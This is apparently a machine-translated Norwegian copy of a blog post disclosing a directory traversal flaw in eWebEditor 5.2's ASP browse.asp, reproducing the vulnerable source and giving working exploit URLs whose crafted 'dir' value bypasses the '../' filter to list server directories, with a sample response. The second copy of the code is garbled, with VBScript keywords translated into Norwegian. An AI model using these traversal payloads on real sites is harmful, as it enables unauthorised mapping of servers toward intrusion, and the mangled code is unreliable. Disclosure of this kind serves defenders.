ewebeditor 5.2 serien katalog sårbarheter
: St0p
Egen stasjon med redaktøren før deres egen strømlinjeforme ewebeditor på 5,2 asp-versjon å jobbe sliten, for å hvile, hadde en redaktør ikke tror egentlig jeg fant en liten smutthull, selv om rollen imidlertid ikke brukes til å assistere eller ganske bra.
Fil et smutthull eksisterer i ewebeditor / asp / browse.asp
A 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub Funksjon GetList () Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir' On Error Resume Next Set oFSO = Server. CreateObject ("Scripting.FileSystemObject") Set oUploadFolder = oFSO. GetFolder (Server. MapPath (sCurrDir)) 'note sCurrDir variabel, denne verdien vi kan bruke hvis Err Number> 0 Then s_List = "" Exit Function End If Hvis Sdir <> "" Then Hvis InstrRev (Sdir "/")> 1 Så s_Url = Venstre (Sdir, InstrRev (Sdir, "/") - 1) Else s_Url = "" End If s_List = s_List & "<tr onclick = 'doRowClick (denne)' onmouseover = 'doRowOver (dette) 'onmouseout =' doRowOut (denne) 'isdir =' true 'path =' "& s_Url &" '> "& _" <td> <img border = 0 src =' .. / sysimage / fil / parentfolder gif "> </ td>" & _ "<td> .. </ td>" & _ "<td> </ td>" & _ "</ tr>" End If 'the Response.Write Sdir & "!" & s_List Dim oSubFolder For hver oSubFolder I oUploadFolder. undermapper 'Choice Response.Write oUploadFolder.SubFolders Hvis Sdir = "" Så s_Url = oSubFolder. Name Else s_Url = Sdir & "/" & oSubFolder. Navn End If s_List = s_List & " <tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'> "& _" <td> <img border = 0 src = '.. / sysimage / fil / closedfolder.gif "> </ td>" & _ "<td noWrap>" & oSubFolder. Navn & "</ td>" & _ "<td> </ td> "& _" </ tr> "Neste" Response.Write s_List Sett oUploadFiles = oUploadFolder. filer for hver oUploadFile I oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. navn Hvis CheckValidExt (sFileName) = sant så «Denne linjen var litt deprimert, for å oppdage alle lov filsuffiks, som ikke vil ikke kunne liste eller ikke liste bare katalogen navn og bilde fil av If Sdir =" "Så s_Url = sContentPath & sFileName Else s_Url = sContentPath til & Sdir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'> "& _" <td> "& FileName2Pic (sFileName) &" </ td> "& _" <td noWrap> "& sFileName &" </ td> "& _" <td align=right> "& GetSizeUnit ( oUploadFile. størrelse) & "</ td>" & _ "</ tr>" End If Next Set oUploadFolder = ingenting Set oUploadFiles = Ingenting 'Response.Write Server.HTMLEncode (s_List) & "!" & s_Url Hvis Sdir = "" Så s_Url = "" 's_Url = "/" Else s_Url = "/" & Sdir & ""' s_Url = "/" & Sdir & "/" End If s_List = s_List & "</ table>" s_List = HTML2JS ( s_List) 'Response.Write Server.HTMLEncode (s_List) & "!" & s_Url s_List = "parent.setDirList (" "" & s_List & "" "," "" & s_Url & "" ")" GetList = s_List End Function «Hvis du ikke gå deteksjon, bør kunne vise alle filene i katalogen, og litt deprimert .. nå bare lister opp filer og kataloger for å tillate suffix navn Funksjon CheckValidExt (s_FileName) If sAllowExt =" "Så CheckValidExt = Sann Exit Function End If Dim jeg, aExt, sExt sExt = LCase (Mid (s_FileName, InStrRev (s_FileName,) + 1) ".") CheckValidExt = False aExt = Split (LCase (sAllowExt), "|") For i = 0 For å UBound (aExt) Hvis aExt (i) = sExt Så CheckValidExt = True Exit Function End If Next End Function 'down koden for å finne funnet sCurrDir verdi av følgende er verdt Sub InitParam () sType = UCase (Trim (Request. spørrestrengsamling ("type"))) sStyleName = Trim (Request. spørrestrengsamling ("stil")) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 til Ubound (aStyle) aStyleConfig = Split (aStyle (i), "| | |") Hvis Lcase (sStyleName) = Lcase (aStyleConfig (0)) Så bValidStyle = True Exit For End If Next Hvis bValidStyle = False Så OutScript ("alert ('Ugyldig stil.')") End If sBaseUrl = aStyleConfig (19) 'nAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 Hvis nAllowBrowse <> 1 Så OutScript ("alert (' Ikke la bla! ')") End If sUploadDir = aStyleConfig (3) Hvis Venstre (sUploadDir, 1) <> "/" og velg veske sType Case "Remote" sUploadDir = ".. / .. /" & sUploadDir & "Image /" Case "FILE" sUploadDir = ".. / .. / "& sUploadDir &" Other / "Case" MEDIA "sUploadDir =" .. / .. / "& sUploadDir &" Media / "Case" FLASH "sUploadDir =" .. / .. / "& sUploadDir &" Flash / " Case Else sUploadDir = ".. / .. /" & sUploadDir & "Image /" End Select End If 'sUploadDir = sUploadDir & "/" Select Case sBaseUrl Case "0"' sContentPath = aStyleConfig (23) Select Case sType Case " REMOTE "sContentPath =" .. / "& aStyleConfig (3) og" Bilde / "Case" FILE "sContentPath =" .. / "& aStyleConfig (3) og" Annet / "Case" MEDIA "sContentPath =" .. / "& aStyleConfig (3) og" Media / "Case" FLASH "sContentPath =" .. / "& aStyleConfig (3) og" Flash / "Case Else sContentPath =" .. / "& aStyleConfig (3) &" Image / "End Select Case" 1 "sContentPath = RelativePath2RootPath (sUploadDir) Case" 2 "sContentPath = RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Select Select Case sType Case" Remote "sAllowExt = aStyleConfig (10) Case" FILE "sAllowExt = aStyleConfig (6 ) Case "MEDIA" sAllowExt = aStyleConfig (9) Case "FLASH" sAllowExt = aStyleConfig (7) Case Else sAllowExt = aStyleConfig (8) End Select sCurrDir = sUploadDir 'Obs, er dette banen til den konfigurasjonen adressen Sdir = Trim ( Request ("dir")) 'får variabelen Sdir dir = Replace (Sdir, "\", "/")' dir variabel filteret Sdir = Replace (Sdir ".. /", "") Sdir = Erstatt ( det Sdir, ". /", "") Hvis Sdir <> "" Then Hvis CheckValidDir (Server. Mappath (sUploadDir & Sdir)) = True Så sCurrDir = sUploadDir & Sdir & "/" 'fokusere på her, se Nei, når da sUploadDir & Sdir, sCurrDir på verdien av sUploadDir & Sdir "Selv på forsiden av Sdir filtrert, men vi kan hoppe over. spesifikk bruk st0p Else Sdir vil bli gitt i følgende bruk av = "End If End If End Sub |
Hei, ser dette bør du forstå at, faktisk er den filtreringen dir, kan vi konstruere en spesiell verdi å hoppe verifisering, slik at du kan få katalogen struktur og vise filen med forlengelse av filer som er tillatt i innstillingsfilen ..
Bruken av metodene er som følger
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
Det den st0p testen opplastingen katalogen er rotkatalogen den uploadfile adressen ovenfor kan du få alle kataloger i rotkatalogen.
Hei, hvis du finner en åpen skjermen er svart, ikke mister hjertet, som viser kildekoden, ser du, som vil ha din rotkatalogen av katalogen navn.
Han rotkatalogen det er en gjest katalog, kan vi liste opp følgende adresse hans følgende struktur
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Da kan vi også
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Gå til de høyere lagene, min test virtuell host, få tre katalogen av www, logfile, datebase.
A
| <HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ TITLE> </ head> <body> <script language = JavaScript> parent.setDirList ("<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> <td> .. </ td> <td> </ td> </ tr> <tr onclick = 'doRowClick (denne)' onmouseover = 'doRowOver (denne)' onmouseout = 'doRowOut (denne)' isdir = 'true' path = '.. / .. / .. / loggfiler "> <td> <img border = 0 src = '.. / sysimage / fil / closedfolder.gif "> </ td> <td noWrap> loggfiler </ td> <td> </ td> </ tr> <tr onclick =' doRowClick (dette ) 'onmouseover =' doRowOver (denne) 'onmouseout =' doRowOut (denne) 'isdir =' true 'path =' .. / .. / .. / www "> <td> <img border = 0 src = '. . / sysimage / fil / closedfolder.gif "> </ td> <td noWrap> www </ td> <td> </ td> </ tr> </ table>", "/ .. / .. / .. ") </ script> </ body> </ html> |
Dette sikkerhetsproblemet kan bare vurderes når den ekstra bruken av intrusion detection, kan du få katalogen struktur, for eksempel, endringsledelse katalog, database katalogen, slik at du kan få katalogen navn, men jeg kan ikke liste opp filer la st0p deprimert. Jeg ....
Dette er den andre opprinnelige dokument utstedt av st0p på bloggen, etter flere, Ga, er nå også regnet blog åpnet ..
Merk: hopp i nettstedet katalogen brukes i alt jeg fant i resepsjonen vil bli erstattet










































290 Trackback (s)
Du må være innlogget for å skrive en kommentar.